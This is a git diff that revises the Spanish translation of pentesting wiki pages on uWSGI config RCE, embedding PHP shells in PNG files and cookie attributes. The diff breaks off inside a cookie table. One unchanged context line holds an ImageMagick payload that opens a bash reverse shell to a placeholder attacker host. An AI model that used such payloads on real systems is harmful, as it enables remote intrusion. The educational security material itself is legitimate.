@@ -107,9 +107,9 @@ Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque *
Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
-Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
+Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
-Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas:
+Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas:
```ini
[uwsgi]
; read from a symbol
@@ -286,9 +286,9 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
-## Incrustación de Shell PHP en PNG
+## Incrustar Shell PHP en PNG
-Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
+Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index e24c11851..cf32eb118 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -8,7 +8,7 @@ Las cookies vienen con varios atributos que controlan su comportamiento en el na
### Expires y Max-Age
-La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie es eliminada. **Opta por `Max-age` ya que refleja prácticas más modernas.**
+La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
### Dominio
@@ -16,7 +16,7 @@ Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`
### Ruta
-Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
+Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` se indica mediante el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
### Reglas de Ordenación
@@ -36,13 +36,13 @@ Recuerda, al configurar cookies, entender estos atributos puede ayudar a garanti
| **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** |
| --------------------- | --------------------------------------- | ---------------------------- |
-| Enlace | \\ | NotSet\*, Lax, None |
-| Prerender | \ | NotSet\*, Lax, None |
-| Formulario GET | \